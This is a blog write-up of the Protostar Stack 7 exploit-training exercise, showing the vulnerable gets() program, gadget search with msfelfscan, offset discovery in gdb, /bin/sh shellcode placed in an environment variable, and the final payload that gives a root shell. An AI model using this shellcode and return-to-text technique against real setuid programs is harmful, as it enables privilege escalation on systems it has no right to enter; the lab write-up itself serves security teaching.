MattAndreko.com

"hostess is a code-slaying dragon found deep within the core of the earth, unearthing magma and vulnerabilities single handedly while using the other hand to pet his cat"

Exploit Exercises - Protostar Stack 7

| Comments

Welcome everyone to 2012! I took a bit of a break during these holidays, and am just starting to get back going.

This challenge was very interesting to me. I figured it would build off of the previous one. However, it was its own standalone challenge.

We are given the following code to the stack7 executable:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

char *getpath()
{
 char buffer[64];
 unsigned int ret;

 printf("input path please: "); fflush(stdout);

 gets(buffer);

 ret = __builtin_return_address(0);

 if((ret & 0xb0000000) == 0xb0000000) {
  printf("bzzzt (%p)\n", ret);
  _exit(1);
 }

 printf("got path %s\n", buffer);
 return strdup(buffer);
}

int main(int argc, char **argv)
{
 getpath();



}

From tinkering with the stack7 executable, I knew I was going to do a stack overflow, and somehow needed to execute code from the stack. However, similar to the previous challenge, there was a filter on my return address, making it so I couldn’t just jump to an address in the stack. This meant figuring out a way around it.

Using the note about this being a “return to .text” exploit, I started reading up. This is a type of exploit that uses part of the executable, albeit even a string to execute as code, because the same characters are also x86 assembler instructions. So I went about trying to find some code that would let me essentially, “jmp esp”, or jump to the stack pointer, where I would put my shellcode. To do this, I did the following:

1
2
mandreko@li225-134:~$ msfelfscan -j esp stack7
[stack7]

This was disappointing. At first, I thought maybe I was not using msfelfscan correctly, and had to tinker a bit. But it just turns out, that there is no “jmp esp” in stack7. What a bummer. However, on a whim, I tried to see if maybe another option to msfelfscan would work:

1
2
3
4
5
mandreko@li225-134:~$ msfelfscan -p stack7
[stack7]
0x08048492 pop ebx; pop ebp; ret
0x080485c7 pop edi; pop ebp; ret
0x080485f7 pop ebx; pop ebp; ret

This is great! Some results! Now let’s just pick one, and attempt to use it as the return address in our overflow. I found that the EIP offset was 80 bytes, so I wired it up as so, and debugged it:

1
2
3
4
5
6
7
8
9
user@protostar:~$ perl -e 'print "A"x80 . "\x92\x84\x04\x08" . "C"x100' > /home/user/file
user@protostar:~$ gdb ./stack7 --quiet
Reading symbols from /home/user/stack7...done.
(gdb) run < file
Starting program: /home/user/stack7 < file
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒AAAAAAAAAAAA▒CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC

Program received signal SIGSEGV, Segmentation fault.
0x43434343 in ?? ()

This is a good sign. It is overwriting the EIP now with “C” values (0x43). So now we just need to know where in the 100 “C”s the return address is going to. To do that, I did similar process to finding an EIP offset:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
mandreko@li225-134:/opt/framework-4.0.0/msf3/tools$ ./pattern_create.rb 100
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A

user@protostar:~$ perl -e 'print "A"x80 . "\x92\x84\x04\x08" . "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A"' > /home/user/file

user@protostar:~$ gdb ./stack7 --quiet
Reading symbols from /home/user/stack7...done.
(gdb) run < file
Starting program: /home/user/stack7 < file
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒AAAAAAAAAAAA▒Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A

Program received signal SIGSEGV, Segmentation fault.
0x33614132 in ?? ()

mandreko@li225-134:/opt/framework-4.0.0/msf3/tools$ ./pattern_offset.rb 0x33614132
8

I simply generated a unique string using pattern_create.rb to replace the 100 “C”s, and then used pattern_offset.rb to tell me the offset when gdb got a segmentation fault. So now I know that the first 8 “C”s are just junk. Just to verify this, I ran it again, a little differently:

1
2
3
4
5
6
7
8
9
user@protostar:~$ perl -e 'print "A"x80 . "\x92\x84\x04\x08" . "C"x8 . "D"x8 . "E"x100' > file
user@protostar:~$ gdb ./stack7 --quiet
Reading symbols from /home/user/stack7...done.
(gdb) run < file
Starting program: /home/user/stack7 < file
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒AAAAAAAAAAAA▒CCCCCCCCDDDDDDDDEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE

Program received signal SIGSEGV, Segmentation fault.
0x44444444 in ?? ()

This shows the 4 “D”s were properly placed, which proved to me that I was indeed going to need my buffer to look like:

1
| 80 bytes junk | pop-pop-ret | 8 bytes junk | address to execute |

Since it was actually going to execute the instructions at the last dword, I opted to put my shellcode in an environmental variable, since it was easy. I again used the same shellcode for dealing with gets() as I have in the last couple challenges:

1
user@protostar:/opt/protostar/bin$ export SHELLCODE=`perl -e 'print "\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`

The next problem was to find out where the address would reside in memory. I used getenvaddr.c again to show me the address.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[]) {
        char *ptr;
        if(argc < 3) {
                printf("Usage: %s <environment var> <target program name>\n", argv[0]);
                exit(0);
        }

        ptr = getenv(argv[1]); /* Get env var location. */
        ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* Adjust for program name. */
        printf("%s will be at %p\n", argv[1], ptr);
}

Just to be sure, I went to the /opt/protostar/bin directory to do this, since I knew the address could change based on what folder I was in. I used this to get the address of my SHELLCODE variable by doing the following:

1
2
user@protostar:/opt/protostar/bin$ /home/user/getenvaddr SHELLCODE ./stack7
SHELLCODE will be at 0xbffff985

Using this address, I exploited the stack7 executable:

1
2
3
4
5
6
7
8
user@protostar:/opt/protostar/bin$ perl -e 'print "A"x80 . "\x92\x84\x04\x08" . "C"x8 . "\x85\xf9\xff\xbf"' > /home/user/file
user@protostar:/opt/protostar/bin$ ./stack7 < /home/user/file
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒AAAAAAAAAAAA▒CCCCCCCC▒▒▒▒
# whoami
root
# id
uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)
#

There you have it, root access, and it was fairly easy. This is the last challenge in the Protostar VM under the “Stack” category. Next post you see should be a new category.

Comments